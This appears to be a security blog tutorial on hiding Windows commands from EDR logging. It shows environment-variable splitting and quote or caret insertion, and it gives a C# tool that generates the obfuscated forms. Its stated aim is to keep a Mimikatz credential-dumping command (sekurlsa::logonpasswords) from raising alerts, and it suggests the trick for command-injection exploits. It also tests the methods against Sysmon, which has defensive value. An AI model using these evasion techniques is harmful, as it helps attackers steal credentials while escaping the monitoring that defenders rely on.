Endpoint Detection & Response (EDR) systems will log commands executed on an endpoint. Whilst it may be possible to subvert this logging by manipulating the Process Environment Block, a simpler method is to encode the commands we want to execute.
For instance, we can assume the following Mimikatz command would generate an alert by an EDR:
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit"
Monitoring Events using Microsoft Sysmon
We can use Microsoft Sysmon to monitor the command line events being generated.
Sysmon can be downloaded from here; https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon
The following command will install the sysmon driver:
C:\Sysmon>Sysmon64.exe -accepteula -i C:\Sysmon\sysmonconfig-export.xml
System Monitor v15.14 - System activity monitor
By Mark Russinovich and Thomas Garnier
Copyright (C) 2014-2024 Microsoft Corporation
Using libxml2. libxml2 is Copyright (C) 1998-2012 Daniel Veillard. All Rights Reserved.
Sysinternals - www.sysinternals.com
Loading configuration file with schema version 4.50
Sysmon schema version: 4.90
Configuration file validated.
Sysmon64 installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting Sysmon64..
Sysmon64 started.
With Sysmon installed, Open Event Viewer and expand Applications and Services Log > Microsoft > Windows > Sysmon > Operational. Event ID 1 (Process Creation) should show command line arguments.
There are a couple of ways we can evade pattern matching signatures for commands.
Environment Variables
Firstly, we can use environment variables to store the commands to be executed. For instance, the following will launch whoami /all;
set "aa=w"
set "ab=h"
set "ac=o"
set "ad=a"
set "ae=m"
set "af=i"
set "ag= "
set "ah=/"
set "ai=a"
set "aj=l"
set "ak=l"
set CMD=%aa%%ab%%ac%%ad%%ae%%af%%ag%%ah%%ai%%aj%%ak%
cmd /c %CMD%
The same thing can also be achieved using PowerShell.
$aa='w'
$ab='h'
$ac='o'
$ad='a'
$ae='m'
$af='i'
$ag=' '
$ah='/'
$ai='a'
$aj='l'
$ak='l'
$CMD=$aa + $ab + $ac + $ad + $ae + $af + $ag + $ah + $ai + $aj + $ak
cmd /c $CMD
Character Insertion
Another technique is to insert double quotes (“) or caret (^) characters within command arguments. The target command will still be executed, but adding the quotes or carets helps break up the command signature.
cmd /c w"h"o"a"m"i" /"a"l"l
cmd /c w^h^o^a^m^i^ /^a^l^l
C# Encoder
The following C# code implements these techniques.
using System;
using System.Collections.Generic;
namespace CMDObfuscation
{
internal class Program
{
static string ObfuscateCharacters(string command, char character)
{
char insertChar = character;
char[] modifiedChars = new char[command.Length * 2];
for (int i = 0, j = 0; i < command.Length; i++)
{
modifiedChars[j++] = command[i];
// Only add a quote if the current character is not a quote or space
if (command[i] != '"' && command[i] != ' ')
{
// Make sure we don't add any characters at the end of the string
if (i != command.Length - 1)
{
modifiedChars[j++] = insertChar;
}
}
}
string result = new string(modifiedChars, 0, command.Length * 2);
result = "cmd /c " + result;
return result;
}
static string ObfuscateEnvVariables(string command)
{
char[] characters = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
List<string> letter_combinations = new List<string>();
for (int i = 0; i < characters.Length; i++)
{
for (int j = 0; j < characters.Length; j++)
{
letter_combinations.Add($"{characters[i]}{characters[j]}");
}
}
string final_command = "";
string set_commands = "";
for (int i = 0; i < command.Length; i++)
{
set_commands += "\nset \"" + letter_combinations[i] + "=" + command[i] + "\"";
final_command += "%" + letter_combinations[i] + "%";
}
string result = "";
result += set_commands;
result += "\nset CMD=" + final_command;
result += "\ncmd /c %CMD%";
return result;
}
static string ObfuscateEnvVariablesPS(string command)
{
char[] characters = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' };
List<string> letter_combinations = new List<string>();
for (int i = 0; i < characters.Length; i++)
{
for (int j = 0; j < characters.Length; j++)
{
letter_combinations.Add($"{characters[i]}{characters[j]}");
}
}
string final_command = "";
string set_commands = "";
for (int i = 0; i < command.Length; i++)
{
set_commands += "\n$" + letter_combinations[i] + "=\'" + command[i] + "\'";
final_command += "$" + letter_combinations[i] + " + ";
}
string result = "";
result += set_commands;
result += "\n$CMD=" + final_command.Remove(final_command.Length - 2);
result += "\ncmd /c $CMD";
return result;
}
static void Main(string[] args)
{
while (true)
{
Console.Write(">");
string command = Console.ReadLine();
if (command.Length >= 1)
{
Console.WriteLine("\n######## Quote Characters ########\n");
Console.WriteLine(ObfuscateCharacters(command, '"'));
Console.WriteLine("\n######## Caret Characters ########\n");
Console.WriteLine(ObfuscateCharacters(command, '^'));
Console.WriteLine("\n######## CMD Environment Variables ########");
Console.WriteLine(ObfuscateEnvVariables(command));
Console.WriteLine("\n######## PS Environment Variables ########");
Console.WriteLine(ObfuscateEnvVariablesPS(command));
}
}
}
}
}
Executing the code shows our encoded commands.
>whoami /all
######## Quote Characters ########
cmd /c w"h"o"a"m"i" /"a"l"l
######## Caret Characters ########
cmd /c w^h^o^a^m^i^ /^a^l^l
######## CMD Environment Variables ########
set "aa=w"
set "ab=h"
set "ac=o"
set "ad=a"
set "ae=m"
set "af=i"
set "ag= "
set "ah=/"
set "ai=a"
set "aj=l"
set "ak=l"
set CMD=%aa%%ab%%ac%%ad%%ae%%af%%ag%%ah%%ai%%aj%%ak%
cmd /c %CMD%
######## PS Environment Variables ########
$aa='w'
$ab='h'
$ac='o'
$ad='a'
$ae='m'
$af='i'
$ag=' '
$ah='/'
$ai='a'
$aj='l'
$ak='l'
$CMD=$aa + $ab + $ac + $ad + $ae + $af + $ag + $ah + $ai + $aj + $ak
cmd /c $CMD
Based on the sysmon output, adding in quotes to the command parameters has helped break up the pattern of our Mimikatz command.
However, Sysmon has decoded the command lines entered using environment variables or using caret characters.
In Conclusion
Although environment variable obfuscation does not work against Sysmon, it may work against other solutions. In addition, command line Obfuscating may also be useful when exploiting some command injection vulnerabilities.